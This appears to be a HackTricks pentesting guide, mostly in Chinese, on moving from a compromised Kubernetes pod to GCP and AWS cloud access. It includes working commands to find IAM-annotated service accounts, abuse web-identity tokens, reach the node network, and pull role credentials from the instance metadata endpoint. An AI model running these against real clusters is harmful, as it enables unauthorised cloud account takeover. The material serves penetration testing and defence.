Kubernetes Pivoting to Clouds

Support HackTricks

GCP

如果您在 GCP 内运行 k8s 集群,您可能希望集群内的某些应用程序能够访问 GCP。有两种常见的方法可以做到这一点:

将 GCP-SA 密钥挂载为秘密

授予 kubernetes 应用程序访问 GCP 的一种常见方法是:

  • 创建一个 GCP 服务账户

  • 绑定所需的权限

  • 下载创建的 SA 的 json 密钥

  • 将其作为秘密挂载到 pod 内

  • 设置指向 json 文件路径的 GOOGLE_APPLICATION_CREDENTIALS 环境变量。

因此,作为 攻击者,如果您攻陷了 pod 内的一个容器,您应该检查该 env 变量json 文件,以获取 GCP 凭据。

将 GSA json 与 KSA 秘密关联

将 GSA 访问权限授予 GKE 集群的一种方法是通过以下方式绑定它们:

  • 在与您的 GKE 集群相同的命名空间中创建一个 Kubernetes 服务账户,使用以下命令:

Copy codekubectl create serviceaccount <service-account-name>
  • 创建一个 Kubernetes Secret,包含您要授予 GKE 集群访问权限的 GCP 服务帐户的凭据。您可以使用 gcloud 命令行工具来完成此操作,如下例所示:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • 使用以下命令将 Kubernetes Secret 绑定到 Kubernetes 服务账户:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

第二步中,将GSA的凭据设置为KSA的秘密。然后,如果您可以从GKE集群内部读取该秘密,您可以提升到该GCP服务账户

GKE工作负载身份

通过工作负载身份,我们可以配置一个 Kubernetes服务账户作为 Google服务账户。使用Kubernetes服务账户运行的Pod在访问Google Cloud API时将自动作为Google服务账户进行身份验证。

启用此行为的第一系列步骤在GCP中启用工作负载身份步骤)并创建您希望k8s模拟的GCP SA。

  • 在新集群上启用工作负载身份

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • 创建/更新一个新的节点池(Autopilot 集群不需要这个)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • 从 K8s 创建 GCP 服务账户以进行模拟,并赋予 GCP 权限:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • 连接集群创建要使用的服务账户

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • 将 GSA 与 KSA 绑定

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • 运行一个 pod,使用 KSA 并检查对 GSA访问

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

检查以下命令以进行身份验证(如有需要):

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

作为 K8s 内部的攻击者,您应该 搜索 SAs,带有 iam.gke.io/gcp-service-account 注释,因为这表明该 SA 可以访问 GCP 中的某些内容。另一个选项是尝试滥用集群中的每个 KSA 并检查它是否具有访问权限。 从 GCP 开始,枚举绑定并了解 您在 Kubernetes 内部给予 SAs 的访问权限 总是很有趣。

这是一个脚本,用于轻松 遍历所有 pod 定义 查找注释

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM角色用于Pods)

一种(过时的)将IAM角色赋予Pods的方法是使用KiamKube2IAM 服务器。 基本上,您需要在集群中运行一个带有某种特权IAM角色守护进程集。这个守护进程集将负责为需要的Pods提供IAM角色的访问权限。

首先,您需要配置可以在命名空间内访问的角色,您可以通过在命名空间对象内添加注释来实现:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

一旦命名空间配置了 Pods 可以拥有的 IAM 角色,您可以 在每个 pod 定义中指明您想要的角色,例如

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

作为攻击者,如果你在 pods 或 namespaces 中找到这些注释,或者有一个运行中的 kiam/kube2iam 服务器(可能在 kube-system 中),你可以冒充每个已经被 pods 使用的角色,以及更多(如果你有访问 AWS 账户的权限,可以枚举角色)。

创建带有 IAM 角色的 Pod

必须指示的 IAM 角色必须与 kiam/kube2iam 角色在同一个 AWS 账户中,并且该角色必须能够访问它。

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Role for K8s Service Accounts via OIDC

这是 AWS 推荐的方式

  1. 然后,您创建一个具有 SA 所需权限的 IAM 角色。

  2. 创建一个 IAM 角色与 SA 之间的信任关系 名称(或命名空间,允许角色访问命名空间中所有 SA)。 信任关系主要检查 OIDC 提供者名称、命名空间名称和 SA 名称

  3. 最后,创建一个带有指示角色 ARN 的注释的 SA,运行该 SA 的 pods 将具有 访问角色的令牌令牌写入 文件中,路径在 AWS_WEB_IDENTITY_TOKEN_FILE 中指定(默认:/var/run/secrets/eks.amazonaws.com/serviceaccount/token

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

使用来自 /var/run/secrets/eks.amazonaws.com/serviceaccount/token 的令牌获取 aws,请运行:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

作为攻击者,如果您可以枚举 K8s 集群,请检查具有 该注释的服务账户升级到 AWS。为此,只需 exec/create 一个 pod,使用其中一个 IAM 特权服务账户 并窃取令牌。

此外,如果您在 pod 内,请检查环境变量,如 AWS_ROLE_ARNAWS_WEB_IDENTITY_TOKEN。

有时 角色的信任策略 可能 配置不当,而不是将 AssumeRole 访问权限授予预期的服务账户,而是授予 所有服务账户。因此,如果您能够在受控服务账户上写入注释,您可以访问该角色。

请查看 以下页面以获取更多信息

查找集群中具有 IAM 角色的 Pods 和 SAs

这是一个脚本,用于轻松 遍历所有 pods 和 sas 定义 查找注释

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Role

前一节讨论了如何通过 pods 偷取 IAM 角色,但请注意,K8s 集群的 节点将是云中的一个实例。这意味着该节点很可能会 有一个新的 IAM 角色可以被偷取请注意,通常 K8s 集群的所有节点将具有相同的 IAM 角色,因此可能不值得尝试检查每个节点)。

然而,有一个重要的要求是要访问节点的元数据端点,您需要在节点上(ssh 会话?)或至少具有相同的网络:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Steal IAM Role Token

之前我们讨论了如何 将 IAM 角色附加到 Pods,甚至如何 逃逸到节点以窃取实例附加的 IAM 角色

您可以使用以下脚本来 窃取 您新辛苦获得的 IAM 角色凭证

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

参考文献

支持 HackTricks

Last updated